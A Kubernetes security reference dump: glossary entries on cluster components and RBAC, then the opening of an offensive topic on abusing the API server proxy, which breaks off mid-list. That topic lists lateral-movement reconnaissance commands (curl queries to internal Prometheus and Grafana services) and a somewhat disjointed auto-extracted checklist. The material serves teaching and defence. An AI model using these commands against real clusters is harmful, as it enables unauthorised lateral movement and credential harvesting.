# kubernetes-security.cloud > A comprehensive reference for Kubernetes security concepts, topics, and best practices. This file is the full encyclopedia dump for language models. For a compact catalog of URLs, use /llms.txt. generatedAt: 2026-09-07T02:12:52.605Z source: https://kubernetes-security.cloud/llms-full.txt catalog: https://kubernetes-security.cloud/llms.txt ## About A comprehensive reference for Kubernetes security concepts, topics, and best practices. This reference covers Kubernetes security terminology, offensive and defensive topics, MITRE ATT&CK mappings, and related tooling. HTML: https://kubernetes-security.cloud/about ## Glossary ### Admission Controller HTML: https://kubernetes-security.cloud/glossary/admission-controller Markdown: https://kubernetes-security.cloud/glossary/admission-controller.md --- title: "Admission Controller" description: "A plugin that intercepts API server requests to validate or mutate resources before they are persisted" category: "component" relatedTerms: - "RBAC" - "Pod" - "CustomResourceDefinition" tools: [] mitreTechniques: [] kubernetesVersion: null --- An Admission Controller is a plugin that **intercepts requests to the Kubernetes API server** after authentication and authorization but before the object is persisted to etcd. They run as part of the API server request pipeline and can either accept, reject, or modify the incoming object. There are two types. **Validating admission controllers** inspect a request and accept or reject it based on custom rules. **Mutating admission controllers** can modify the object before it is saved, for example injecting a sidecar container or setting default values. Kubernetes ships with several built-in admission controllers such as **LimitRanger**, **ResourceQuota**, and **PodSecurity**. You can also extend this with **ValidatingAdmissionWebhooks** and **MutatingAdmissionWebhooks**, which delegate the decision to an external HTTP service, allowing tools like OPA Gatekeeper or Kyverno to enforce custom policies. ### API Server HTML: https://kubernetes-security.cloud/glossary/api-server Markdown: https://kubernetes-security.cloud/glossary/api-server.md --- title: "API Server" description: "The central management component that exposes the Kubernetes API" category: "component" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- The API server (`kube-apiserver`) is the **front door** to your Kubernetes cluster. Every interaction, whether from kubectl, controllers, or the kubelet, goes through it. It handles **authentication**, **authorization**, **admission control**, and then persists the validated objects to etcd. Because everything flows through the API server, securing it is critical. This includes enabling **RBAC**, configuring proper authentication methods, using **admission controllers** to enforce policies, enabling **audit logging**, and restricting network access. If the API server is compromised or misconfigured (like allowing anonymous auth), an attacker can control the entire cluster. ### ClusterRole HTML: https://kubernetes-security.cloud/glossary/clusterrole Markdown: https://kubernetes-security.cloud/glossary/clusterrole.md --- title: "ClusterRole" description: "A cluster-scoped RBAC object that defines permissions across all namespaces or for non-namespaced resources" category: "resource" relatedTerms: - "ClusterRoleBinding" - "Role" - "RBAC" - "Node" tools: [] mitreTechniques: [] kubernetesVersion: null --- A ClusterRole defines permissions that apply **cluster-wide** rather than within a single namespace. It can grant access to namespaced resources across all namespaces, to cluster-scoped resources like Nodes and PersistentVolumes, and to non-resource endpoints like `/healthz` and `/metrics`. ClusterRoles are commonly used for components that need cluster-wide visibility, such as monitoring agents, admission controllers, and GitOps controllers. Kubernetes itself ships with several built-in ClusterRoles like `view`, `edit`, and `cluster-admin` that cover common permission levels. Like a Role, a ClusterRole does nothing on its own. It must be bound to subjects through a **ClusterRoleBinding** for cluster-wide effect, or through a **RoleBinding** to limit its effect to a single namespace. ### ClusterRoleBinding HTML: https://kubernetes-security.cloud/glossary/clusterrolebinding Markdown: https://kubernetes-security.cloud/glossary/clusterrolebinding.md --- title: "ClusterRoleBinding" description: "A cluster-scoped RBAC object that grants the permissions defined in a ClusterRole across the entire cluster" category: "resource" relatedTerms: - "ClusterRole" - "RoleBinding" - "ServiceAccount" tools: [] mitreTechniques: [] kubernetesVersion: null --- A ClusterRoleBinding **attaches a ClusterRole to one or more subjects** and grants those permissions across the entire cluster. Subjects can be users, groups, or ServiceAccounts. Unlike a RoleBinding, a ClusterRoleBinding is not scoped to a namespace and its effects are global. ClusterRoleBindings can only reference a **ClusterRole**, not a namespace-scoped Role. They are typically used for cluster-wide components like the scheduler, controller manager, and operators that need to read or manage resources across all namespaces. Like RoleBindings, the `roleRef` field of a ClusterRoleBinding is immutable after creation. Changing which ClusterRole a binding references requires deleting and recreating it. ### ConfigMap HTML: https://kubernetes-security.cloud/glossary/configmap Markdown: https://kubernetes-security.cloud/glossary/configmap.md --- title: "ConfigMap" description: "A Kubernetes object used to store non-sensitive configuration data as key-value pairs" category: "resource" relatedTerms: - "Secret" - "Pod" - "Deployment" tools: [] mitreTechniques: [] kubernetesVersion: null --- A ConfigMap stores **non-sensitive configuration data** as key-value pairs. This lets you separate configuration from container images, so the same image can run with different settings across environments without being rebuilt. ConfigMap data can be consumed by Pods in two ways. Values can be injected as **environment variables**, or the entire ConfigMap can be mounted as a **directory of files** inside the container, where each key becomes a filename and its value becomes the file content. Unlike Secrets, ConfigMaps are stored in plain text in etcd and are not intended for sensitive data. They work well for things like application settings, feature flags, configuration files, and command-line arguments. ### Container HTML: https://kubernetes-security.cloud/glossary/container Markdown: https://kubernetes-security.cloud/glossary/container.md --- title: "Container" description: "A lightweight, standalone executable unit that packages an application and its dependencies" category: "component" relatedTerms: - "Pod" - "Node" - "Kubelet" tools: [] mitreTechniques: [] kubernetesVersion: null --- A container is a **lightweight, isolated process** that packages an application together with everything it needs to run: code, runtime, libraries, and configuration. Containers share the host operating system kernel but are isolated from each other using Linux **namespaces** and **cgroups**, which control what they can see and how much CPU and memory they can use. Container images are built in **layers**. Each instruction in a Dockerfile adds a layer on top of the previous one. When you run a container, a thin writable layer is added on top of the read-only image layers. This layering means images are efficient to store and transfer since layers are shared across images that have a common base. In Kubernetes, containers run inside **Pods**. The kubelet on each node instructs the container runtime (typically containerd or CRI-O) to pull the image and start the container according to the Pod spec. Kubernetes adds scheduling, health checking, and lifecycle management on top of the basic container primitives. ### Container Escape HTML: https://kubernetes-security.cloud/glossary/container-escape Markdown: https://kubernetes-security.cloud/glossary/container-escape.md --- title: "Container Escape" description: "A security vulnerability where an attacker breaks out of a container to access the host system" category: "attack" relatedTerms: - "Container Breakout" tools: [] mitreTechniques: - "T1610" - "T1055" kubernetesVersion: null --- A container escape happens when an attacker **breaks out of the container's isolation** and gains access to the host system. Containers are supposed to be sandboxed, but misconfigurations or vulnerabilities can let someone bypass that boundary. Common ways this happens: running containers as **privileged**, mounting sensitive host paths like `/var/run/docker.sock` or `/`, **sharing namespaces** with the host, or exploiting **kernel vulnerabilities**. Once out, an attacker can access other containers, steal secrets, or take over the node entirely. ### CronJob HTML: https://kubernetes-security.cloud/glossary/cronjob Markdown: https://kubernetes-security.cloud/glossary/cronjob.md --- title: "CronJob" description: "A Kubernetes controller that creates Jobs on a recurring schedule defined using cron syntax" category: "resource" relatedTerms: - "Job" - "Pod" tools: [] mitreTechniques: [] kubernetesVersion: null --- A CronJob creates a new **Job** on a schedule defined using standard **cron syntax**. Each time the schedule fires, the CronJob creates a Job object which then manages the Pods needed to complete the task. The CronJob itself just manages the schedule and the creation of those Jobs. The schedule is defined in the format `minute hour day-of-month month day-of-week`, for example `0 2 * * *` to run at 2am every day. Kubernetes uses UTC for schedule evaluation unless a time zone is specified. CronJobs have a few important settings to be aware of. **concurrencyPolicy** controls whether a new Job can start if the previous one is still running. **startingDeadlineSeconds** sets how late a Job can start before it is skipped. **successfulJobsHistoryLimit** and **failedJobsHistoryLimit** control how many completed and failed Jobs are kept for reference. ### CustomResourceDefinition HTML: https://kubernetes-security.cloud/glossary/customresourcedefinition Markdown: https://kubernetes-security.cloud/glossary/customresourcedefinition.md --- title: "CustomResourceDefinition" description: "A way to extend Kubernetes by defining your own resource types" category: "resource" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- A CustomResourceDefinition (CRD) lets you extend Kubernetes with your own **custom resource types**. Once you create a CRD, you can use kubectl to create, read, update, and delete instances of that resource just like built-in objects such as Pods or Deployments. CRDs are the foundation of the **Operator pattern**. They allow tools like Prometheus, Cert-Manager, or Istio to define their own resources (like `Certificate` or `VirtualService`) that feel native to Kubernetes. The CRD defines the schema and validation rules, while a **controller** watches for changes and acts on them. From a security perspective, be careful about which CRDs you install. They can introduce new **RBAC verbs** and resources, and a poorly written controller can have cluster-wide impact. Always review CRDs from third parties before applying them. ### DaemonSet HTML: https://kubernetes-security.cloud/glossary/daemonset Markdown: https://kubernetes-security.cloud/glossary/daemonset.md --- title: "DaemonSet" description: "Ensures a copy of a Pod runs on all or selected nodes in the cluster" category: "resource" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- A DaemonSet ensures that a specific Pod runs on **every node** in your cluster (or a subset of nodes if you use **node selectors**). When new nodes join, the DaemonSet automatically schedules a Pod on them. When nodes are removed, those Pods get garbage collected. This is useful for cluster-wide infrastructure like **log collectors**, **monitoring agents**, or **network plugins** that need to run on every node. Unlike Deployments where you specify replica count, DaemonSets tie Pod count directly to the number of matching nodes. ### Deployment HTML: https://kubernetes-security.cloud/glossary/deployment Markdown: https://kubernetes-security.cloud/glossary/deployment.md --- title: "Deployment" description: "A controller that manages the desired state of Pods and ReplicaSets" category: "resource" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- A Deployment tells Kubernetes how many **replicas** of your Pod should be running and handles keeping them that way. You describe the **desired state**, and the Deployment controller works to match it by spinning up new Pods, rolling out updates, or scaling down as needed. When you update a Deployment (say, a new container image), it performs a **rolling update** by default: gradually replacing old Pods with new ones so your app stays available. If something goes wrong, you can **roll back** to a previous version. Under the hood, Deployments manage **ReplicaSets**, but you rarely interact with those directly. ### etcd HTML: https://kubernetes-security.cloud/glossary/etcd Markdown: https://kubernetes-security.cloud/glossary/etcd.md --- title: "etcd" description: "The distributed key-value store that holds all Kubernetes cluster state" category: "component" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- etcd is the **backing store** for all cluster data in Kubernetes. Every object you create (Pods, Secrets, ConfigMaps, RBAC rules) gets persisted here. It's a distributed **key-value store** that uses the **Raft consensus algorithm** to maintain consistency across multiple nodes. Since etcd contains everything including Secrets (often base64-encoded, **not encrypted by default**), it's a high-value target. Securing it means enabling **encryption at rest**, restricting network access to only the API server, using **TLS** for client-server communication, and keeping regular backups. If an attacker gets direct access to etcd, they effectively own the cluster. ### Helm HTML: https://kubernetes-security.cloud/glossary/helm Markdown: https://kubernetes-security.cloud/glossary/helm.md --- title: "Helm" description: "A package manager for Kubernetes that bundles resources into reusable, versioned charts" category: "component" relatedTerms: - "Deployment" - "CustomResourceDefinition" - "Namespace" tools: [] mitreTechniques: [] kubernetesVersion: null --- Helm is a **package manager for Kubernetes** that groups related manifests into a single deployable unit called a **chart**. A chart contains templates for all the Kubernetes resources an application needs, along with default configuration values that can be overridden at install time. Charts are versioned and can be shared through **Helm repositories**. You install a chart using `helm install`, which renders the templates with your provided values and applies the resulting manifests to the cluster. Helm tracks what it has installed as a **release**, making it straightforward to upgrade to a new chart version or roll back to a previous one. Values are passed using a `values.yaml` file or with `--set` flags on the command line. This templating approach means the same chart can be used across different environments, such as development, staging, and production, simply by supplying different values. ### Ingress HTML: https://kubernetes-security.cloud/glossary/ingress Markdown: https://kubernetes-security.cloud/glossary/ingress.md --- title: "Ingress" description: "Manages external HTTP/HTTPS access to services in the cluster" category: "resource" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- An Ingress exposes **HTTP and HTTPS routes** from outside the cluster to Services inside. It lets you define rules for routing traffic based on **hostnames** or **URL paths**, so multiple services can share a single external IP. Ingress itself is just a set of rules. You need an **Ingress controller** (like NGINX, Traefik, or cloud provider implementations) actually running in your cluster to make it work. The controller reads Ingress resources and configures the underlying load balancer or proxy accordingly. For **TLS termination**, you reference a Secret containing the certificate. ### Job HTML: https://kubernetes-security.cloud/glossary/job Markdown: https://kubernetes-security.cloud/glossary/job.md --- title: "Job" description: "A Kubernetes controller that runs one or more Pods to successful completion" category: "resource" relatedTerms: - "CronJob" - "Pod" - "ServiceAccount" tools: [] mitreTechniques: [] kubernetesVersion: null --- A Job creates one or more Pods and ensures they run to **successful completion**. Unlike Deployments or StatefulSets that keep Pods running continuously, a Job is finished when its Pods exit successfully. If a Pod fails, the Job creates a replacement and retries up to a configurable limit. Jobs support **parallelism**, letting you run multiple Pods at the same time to process work faster. You can also configure how many successful completions are required before the Job is considered done, which is useful for batch processing workloads that split work across multiple workers. Completed Job Pods are not deleted automatically. Their logs and exit status remain available for inspection until the Job itself is deleted or cleaned up by a **TTL controller**. Jobs are commonly used for database migrations, data processing, and one-off administrative tasks. ### kube-proxy HTML: https://kubernetes-security.cloud/glossary/kube-proxy Markdown: https://kubernetes-security.cloud/glossary/kube-proxy.md --- title: "kube-proxy" description: "A network proxy that runs on each node and maintains network rules for Services" category: "component" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- kube-proxy is a **network component** that runs on every node in the cluster. Its job is to maintain network rules that allow communication to your Pods from inside or outside the cluster. When you create a Service, kube-proxy makes sure traffic destined for that Service actually reaches the right Pods. It can operate in different modes: **iptables** (the default, uses Linux iptables rules), **IPVS** (better performance for large clusters), or **userspace** (legacy, rarely used). kube-proxy watches the API server for Service and Endpoint changes and updates the node's network rules accordingly. From a security perspective, kube-proxy itself doesn't enforce network policies. For that, you need a **CNI plugin** like Calico or Cilium. Also, be aware that kube-proxy exposes metrics on **port 10249** by default, which should be restricted in production environments. ### Kubelet HTML: https://kubernetes-security.cloud/glossary/kubelet Markdown: https://kubernetes-security.cloud/glossary/kubelet.md --- title: "Kubelet" description: "The agent running on each node that manages Pods and containers" category: "component" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- The kubelet is an **agent** that runs on every node in the cluster. It takes **PodSpecs** from the API server and makes sure the described containers are running and healthy. It handles pulling images, starting containers via the **container runtime**, running probes, and reporting node and Pod status back to the control plane. The kubelet also exposes an API on **port 10250**, which can be a security concern if not properly locked down. You should enable authentication and authorization on the kubelet API, **disable anonymous access**, and consider using the **NodeRestriction admission controller** to limit what kubelets can modify. A compromised kubelet means an attacker has control over everything running on that node. ### Label and Selector HTML: https://kubernetes-security.cloud/glossary/label-selector Markdown: https://kubernetes-security.cloud/glossary/label-selector.md --- title: "Label and Selector" description: "Key-value pairs attached to Kubernetes objects and the queries used to filter them" category: "resource" relatedTerms: - "Pod" - "Service" - "Deployment" - "NetworkPolicy" tools: [] mitreTechniques: [] kubernetesVersion: null --- A **label** is a key-value pair attached to a Kubernetes object such as a Pod, Node, or Service. Labels carry identifying metadata like `app: frontend`, `env: production`, or `tier: backend`. They have no meaning to Kubernetes itself and are entirely defined by the user. A **selector** is a query that matches objects based on their labels. Controllers like Deployments and ReplicaSets use selectors to identify which Pods they manage. Services use selectors to determine which Pods should receive traffic. NetworkPolicies use them to specify which Pods a rule applies to. There are two types of selectors. **Equality-based** selectors match on exact key-value pairs (`env=production`). **Set-based** selectors support more expressive queries such as `env in (staging, production)` or `tier notin (frontend)`. Most Kubernetes resources support both types, giving you flexible ways to group and target objects without changing the objects themselves. ### Namespace HTML: https://kubernetes-security.cloud/glossary/namespace Markdown: https://kubernetes-security.cloud/glossary/namespace.md --- title: "Namespace" description: "A virtual cluster within Kubernetes used to isolate and organize resources" category: "resource" relatedTerms: - "RBAC" - "NetworkPolicy" - "ServiceAccount" tools: [] mitreTechniques: [] kubernetesVersion: null --- A Namespace is a way to divide a single Kubernetes cluster into **logical groups**. Resources like Pods, Services, and ConfigMaps live inside a namespace, and names only need to be unique within one. This makes it easier to organize workloads by team, environment, or application without running separate clusters. Kubernetes ships with a few built-in namespaces. **default** is where resources land if you don't specify one. **kube-system** is reserved for cluster components like the API server and scheduler. **kube-public** holds publicly readable data, and **kube-node-lease** is used for node heartbeats. Most resource types are namespace-scoped, meaning they exist within a namespace and are invisible from outside it. A few types like Nodes and ClusterRoles are **cluster-scoped** and exist globally across all namespaces. ### NetworkPolicy HTML: https://kubernetes-security.cloud/glossary/network-policy Markdown: https://kubernetes-security.cloud/glossary/network-policy.md --- title: "NetworkPolicy" description: "A Kubernetes resource that controls traffic flow between pods and namespaces" category: "resource" relatedTerms: - "Namespace" - "Pod" - "Service" tools: [] mitreTechniques: [] kubernetesVersion: null --- A NetworkPolicy defines rules that control **which pods can send and receive traffic**. You select pods using label selectors and then specify what ingress (incoming) and egress (outgoing) traffic is allowed, filtering by pod labels, namespace labels, IP ranges, and ports. NetworkPolicies are enforced by the **CNI plugin** running in the cluster. Common CNI plugins that support NetworkPolicy include Cilium, Calico, and Weave Net. If the CNI does not support it, the policy objects are accepted by the API server but have no effect on traffic. By default, if no NetworkPolicy selects a pod, all traffic to and from that pod is allowed. Once at least one NetworkPolicy selects a pod, only the traffic explicitly permitted by those policies is allowed. ### Node HTML: https://kubernetes-security.cloud/glossary/node Markdown: https://kubernetes-security.cloud/glossary/node.md --- title: "Node" description: "A worker machine in Kubernetes that runs Pods and is managed by the control plane" category: "component" relatedTerms: - "Kubelet" - "Pod" - "DaemonSet" tools: [] mitreTechniques: [] kubernetesVersion: null --- A Node is a **worker machine** in a Kubernetes cluster, either a physical server or a virtual machine. Nodes are where Pods actually run. The control plane schedules Pods onto nodes based on available resources, taints, tolerations, and affinity rules. Every node runs three core components. The **kubelet** is an agent that communicates with the API server and ensures the containers described in Pod specs are running. The **container runtime** (such as containerd or CRI-O) is responsible for pulling images and running containers. **kube-proxy** maintains network rules on the node to route traffic to the correct Pods. There are two types of nodes in a cluster. **Control plane nodes** (also called master nodes) host the API server, scheduler, controller manager, and etcd. **Worker nodes** (also called minion nodes) run application workloads. In production clusters these roles are kept separate, though single-node setups run everything on one machine. ### Operator HTML: https://kubernetes-security.cloud/glossary/operator Markdown: https://kubernetes-security.cloud/glossary/operator.md --- title: "Operator" description: "A pattern for extending Kubernetes with custom controllers that automate the management of complex applications" category: "component" relatedTerms: - "CustomResourceDefinition" - "RBAC" - "ServiceAccount" tools: [] mitreTechniques: [] kubernetesVersion: null --- An Operator is a **Kubernetes controller paired with a CustomResourceDefinition** that automates the management of a specific application. It encodes the operational knowledge of running that application, such as how to install, configure, upgrade, and recover it, into software that runs inside the cluster. The Operator pattern works by watching for changes to custom resources and reconciling the actual cluster state with the desired state defined in those resources. For example, a database Operator might watch for a `PostgreSQLCluster` custom resource and automatically provision the right Pods, Services, and PersistentVolumeClaims to run it. Operators are built using controller frameworks such as the **Operator SDK** or **Kubebuilder**. Many popular tools ship as Operators, including Prometheus, Cert-Manager, ArgoCD, and Elasticsearch. The Operator Hub at operatorhub.io is a public registry of Operators available for common applications. ### PersistentVolume HTML: https://kubernetes-security.cloud/glossary/persistentvolume Markdown: https://kubernetes-security.cloud/glossary/persistentvolume.md --- title: "PersistentVolume" description: "A piece of storage in the cluster that has been provisioned for use by Pods independently of their lifecycle" category: "resource" relatedTerms: - "StatefulSet" - "Pod" - "StorageClass" tools: [] mitreTechniques: [] kubernetesVersion: null --- A PersistentVolume (PV) is a piece of **storage provisioned in the cluster** that exists independently of any Pod. It can be backed by a cloud disk, NFS share, local disk, or many other storage systems. Unlike a regular volume defined inside a Pod spec, a PersistentVolume has its own lifecycle and persists even after the Pod using it is deleted. Pods do not reference PersistentVolumes directly. Instead, a Pod requests storage through a **PersistentVolumeClaim (PVC)**, which describes the size and access mode needed. Kubernetes binds the claim to a suitable PersistentVolume. This separation keeps Pod specs portable across environments with different underlying storage. Storage can be provisioned **statically** by an administrator who creates PVs ahead of time, or **dynamically** through a **StorageClass** that automatically provisions a volume when a PVC is created. Dynamic provisioning is the most common approach in cloud environments. ### Pod HTML: https://kubernetes-security.cloud/glossary/pod Markdown: https://kubernetes-security.cloud/glossary/pod.md --- title: "Pod" description: "The smallest deployable unit in Kubernetes that can be created and managed" category: "resource" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- A Pod is the smallest thing you can deploy in Kubernetes. Think of it as a wrapper around one or more containers that need to run together. They share the same **network IP**, can talk to each other, and have access to the same **storage volumes**. Most of the time you will run a single container per Pod. But when you need multiple containers working together, Pods support different patterns: **init containers** run first to handle setup before your main app starts, **sidecars** run alongside your app for things like log collection or service mesh proxies, and **ephemeral containers** can be attached later when you need to debug a running Pod. ### RBAC (Role-Based Access Control) HTML: https://kubernetes-security.cloud/glossary/rbac Markdown: https://kubernetes-security.cloud/glossary/rbac.md --- title: "RBAC (Role-Based Access Control)" description: "A method of regulating access to computer or network resources based on the roles of individual users" category: "security" relatedTerms: - "Service Account" - "ClusterRole" - "RoleBinding" tools: [] mitreTechniques: [] kubernetesVersion: null --- RBAC is a security mechanism that restricts access based on the **roles** assigned to users or service accounts. It lets you define **fine-grained permissions** for who can do what in your cluster. Kubernetes RBAC has four main objects: **Role** (permissions within a namespace), **ClusterRole** (permissions cluster-wide), **RoleBinding** (grants a Role to users/service accounts in a namespace), and **ClusterRoleBinding** (grants a ClusterRole across the entire cluster). From a security standpoint, follow the **principle of least privilege**. Don't give more permissions than needed. Regularly audit your RBAC configurations, use dedicated service accounts with minimal permissions, and clean up unused bindings. ### ReplicaSet HTML: https://kubernetes-security.cloud/glossary/replicaset Markdown: https://kubernetes-security.cloud/glossary/replicaset.md --- title: "ReplicaSet" description: "A Kubernetes controller that ensures a specified number of Pod replicas are running at all times" category: "resource" relatedTerms: - "Deployment" - "Pod" tools: [] mitreTechniques: [] kubernetesVersion: null --- A ReplicaSet ensures that a **specified number of identical Pods** are running at any given time. If a Pod crashes or is deleted, the ReplicaSet creates a replacement. If there are too many Pods, it removes the excess. ReplicaSets use a **label selector** to identify which Pods they manage. Any Pod matching the selector is counted toward the desired replica count, whether the ReplicaSet created it or not. In practice, you rarely create ReplicaSets directly. A **Deployment** manages ReplicaSets on your behalf and adds rolling update and rollback capabilities on top. ReplicaSets are the underlying mechanism that Deployments use to maintain Pod availability during updates. ### Role HTML: https://kubernetes-security.cloud/glossary/role Markdown: https://kubernetes-security.cloud/glossary/role.md --- title: "Role" description: "A namespace-scoped RBAC object that defines a set of permissions for resources within a single namespace" category: "resource" relatedTerms: - "RoleBinding" - "ClusterRole" - "RBAC" - "Namespace" tools: [] mitreTechniques: [] kubernetesVersion: null --- A Role defines a set of **permissions within a specific namespace**. It is made up of rules that specify which API groups, resource types, and verbs are allowed, such as `get`, `list`, `create`, or `delete`. A Role can only reference resources in the namespace where it is created. Roles do not grant any permissions on their own. They must be attached to a subject through a **RoleBinding** before they take effect. This separation between defining permissions and granting them makes it easy to define a Role once and bind it to multiple subjects. A common pattern is creating purpose-specific Roles for different functions, such as a read-only Role for monitoring tools or a limited Role for a CI/CD pipeline, rather than reusing a single broad Role across many workloads. ### RoleBinding HTML: https://kubernetes-security.cloud/glossary/rolebinding Markdown: https://kubernetes-security.cloud/glossary/rolebinding.md --- title: "RoleBinding" description: "A namespace-scoped RBAC object that grants the permissions defined in a Role to users, groups, or service accounts" category: "resource" relatedTerms: - "Role" - "ClusterRoleBinding" - "ServiceAccount" - "Namespace" tools: [] mitreTechniques: [] kubernetesVersion: null --- A RoleBinding **attaches a Role to one or more subjects** within a namespace. Subjects can be users, groups, or ServiceAccounts. Once bound, the subjects receive all the permissions defined in the referenced Role, but only within the namespace where the RoleBinding exists. A RoleBinding can reference either a **Role** or a **ClusterRole**. When it references a ClusterRole, the permissions from that ClusterRole are applied only within the RoleBinding's namespace. This lets you define a common set of rules once in a ClusterRole and reuse it across multiple namespaces through separate RoleBindings. RoleBindings are immutable in terms of their `roleRef` field once created. If you need to change which Role a binding references, you must delete and recreate the binding. ### Secret HTML: https://kubernetes-security.cloud/glossary/secret Markdown: https://kubernetes-security.cloud/glossary/secret.md --- title: "Secret" description: "A Kubernetes object used to store sensitive data such as passwords, tokens, and keys" category: "resource" relatedTerms: - "ServiceAccount" - "etcd" - "ConfigMap" tools: [] mitreTechniques: [] kubernetesVersion: null --- A Secret is a Kubernetes object designed to hold **small amounts of sensitive data** such as passwords, API tokens, TLS certificates, and SSH keys. Storing this data in a Secret keeps it out of Pod specs and container images, allowing it to be managed and rotated independently. Secrets are **base64-encoded** when stored, which makes them easier to handle in YAML but does not protect them from being read. They are stored in **etcd** and can be delivered to Pods either as **environment variables** or mounted as **files** in a volume. Kubernetes also has a built-in type system for Secrets. Common types include `kubernetes.io/tls` for TLS certificates, `kubernetes.io/dockerconfigjson` for image pull credentials, and `Opaque` for arbitrary user-defined data. ### Service HTML: https://kubernetes-security.cloud/glossary/service Markdown: https://kubernetes-security.cloud/glossary/service.md --- title: "Service" description: "An abstraction that exposes a set of Pods as a network service" category: "resource" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- A Service gives your Pods a **stable network identity**. Since Pods are ephemeral and their IPs change when they restart, you need something consistent to point at. That's what a Service does. It provides a single **DNS name** and IP that routes traffic to the right Pods using **label selectors**. There are different Service types: **ClusterIP** (internal only, the default), **NodePort** (exposes on each node's IP at a static port), **LoadBalancer** (provisions an external load balancer in cloud environments), and **ExternalName** (maps to a DNS name outside the cluster). ### ServiceAccount HTML: https://kubernetes-security.cloud/glossary/serviceaccount Markdown: https://kubernetes-security.cloud/glossary/serviceaccount.md --- title: "ServiceAccount" description: "An identity for processes running inside Pods to authenticate with the API server" category: "resource" relatedTerms: [] tools: [] mitreTechniques: [] kubernetesVersion: null --- A ServiceAccount provides an **identity** for processes running in a Pod. When a Pod needs to talk to the Kubernetes API, it uses the ServiceAccount's **token** to authenticate. Every namespace has a **default ServiceAccount**, and every Pod gets one assigned automatically if you don't specify otherwise. The token gets mounted into the Pod at `/var/run/secrets/kubernetes.io/serviceaccount/`. From a security perspective, you should avoid using the default ServiceAccount for workloads that need API access. Create dedicated ones with only the **RBAC permissions** they actually need. You can also **disable token auto-mounting** for Pods that don't need API access at all. ### StatefulSet HTML: https://kubernetes-security.cloud/glossary/statefulset Markdown: https://kubernetes-security.cloud/glossary/statefulset.md --- title: "StatefulSet" description: "A Kubernetes workload controller for managing stateful applications that require stable identities and persistent storage" category: "resource" relatedTerms: - "Deployment" - "PersistentVolume" - "Pod" tools: [] mitreTechniques: [] kubernetesVersion: null --- A StatefulSet manages Pods for **stateful applications** that need stable, persistent identities. Unlike Deployments where Pods are interchangeable, each Pod in a StatefulSet gets a **stable hostname** (like `app-0`, `app-1`, `app-2`) and its own **PersistentVolume** that follows it even if the Pod is rescheduled to a different node. Pods in a StatefulSet are created, updated, and deleted in **order**. Scaling up creates pods from the lowest index. Scaling down removes them from the highest index first. This predictable ordering matters for databases and distributed systems that have leader-follower relationships or initialization dependencies. StatefulSets are commonly used for databases like MySQL, PostgreSQL, and Cassandra, as well as distributed systems like Kafka and ZooKeeper where each instance has a distinct role and its own data. ### Taint and Toleration HTML: https://kubernetes-security.cloud/glossary/taint-toleration Markdown: https://kubernetes-security.cloud/glossary/taint-toleration.md --- title: "Taint and Toleration" description: "A mechanism to control which Pods can be scheduled onto specific nodes" category: "resource" relatedTerms: - "Node" - "Pod" - "DaemonSet" tools: [] mitreTechniques: [] kubernetesVersion: null --- Taints and tolerations work together to **control which Pods land on which nodes**. A taint is applied to a node and acts as a repellent. Any Pod that does not explicitly tolerate that taint will not be scheduled onto the node. Taints have three effects. **NoSchedule** prevents new Pods without the matching toleration from being scheduled. **PreferNoSchedule** is a soft version that tries to avoid scheduling but does not guarantee it. **NoExecute** both prevents scheduling and evicts any already-running Pods that do not tolerate the taint. A common use case is dedicating nodes to specific workloads. For example, GPU nodes are often tainted so only Pods requesting GPU resources (which carry the matching toleration) get placed on them. **DaemonSets** often use a wildcard toleration (`operator: Exists`) to ensure their Pods run on every node regardless of what taints are applied. ### Volume HTML: https://kubernetes-security.cloud/glossary/volume Markdown: https://kubernetes-security.cloud/glossary/volume.md --- title: "Volume" description: "A directory accessible to containers in a Pod, used to share data or persist state beyond a container's lifetime" category: "resource" relatedTerms: - "Pod" - "PersistentVolume" - "ConfigMap" - "Secret" tools: [] mitreTechniques: [] kubernetesVersion: null --- A Volume is a **directory that containers in a Pod can read and write**. It solves two problems that container filesystems alone cannot: sharing data between containers in the same Pod, and preserving data when a container restarts. Kubernetes supports many volume types. **emptyDir** creates a temporary directory that lives as long as the Pod. **hostPath** mounts a directory from the node's filesystem into the container. **configMap** and **secret** volumes mount the contents of those objects as files. **persistentVolumeClaim** connects the Pod to a PersistentVolume for durable storage. Volumes are defined in the Pod spec and then **mounted into each container** individually at a specified path. Multiple containers in the same Pod can mount the same volume, which is the foundation for sidecar patterns where a helper container processes data written by the main container. ## Topics ### Abusing Kubernetes API Server Proxy HTML: https://kubernetes-security.cloud/topics/abusing-kubernetes-api-server-proxy Markdown: https://kubernetes-security.cloud/topics/abusing-kubernetes-api-server-proxy.md --- title: "Abusing Kubernetes API Server Proxy" description: "Bypassing network policies and accessing internal services through the Kubernetes API server proxy subresource" category: "offensive" phase: "lateral-movement" offensiveType: "lateral-movement" impact: "An attacker with access to the services/proxy subresource can use the API server as a proxy to reach any internal service, bypassing NetworkPolicies, firewall rules, and network segmentation. This enables lateral movement to services that are not externally accessible and credential harvesting from internal APIs" mitigation: - "Restrict `create` and `get` on `services/proxy` to only users and service accounts that require debugging access" - "Implement NetworkPolicies that restrict pod-to-API-server communication for namespaces that do not require it" tools: - "kubectl" - "curl" mitreTechniques: - "T1046" - "T1090" - "T1021" kubernetesVersion: null createdAt: "2026-05-02T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Discover available services - Category: offensive - Phase: Lateral Movement - Objective: Bypassing network policies and accessing internal services through the Kubernetes API server proxy subresource ### Action checklist - The `endpoints` resource requires separate RBAC permissions - The endpoint controller continuously reconciles and overwrites manual changes - The endpoint controller only includes IPs from pods that match the Service's selector ### Key commands - `curl -s "http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_service_info" \` - `| jq '.data.result[] | {namespace: .metric.namespace, service: .metric.service, cluster_ip: .metric.cluster_ip}'` - `curl -s --connect-timeout 3 http://grafana-svc.monitoring.svc.cluster.local:3000/api/health` - `APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"` - 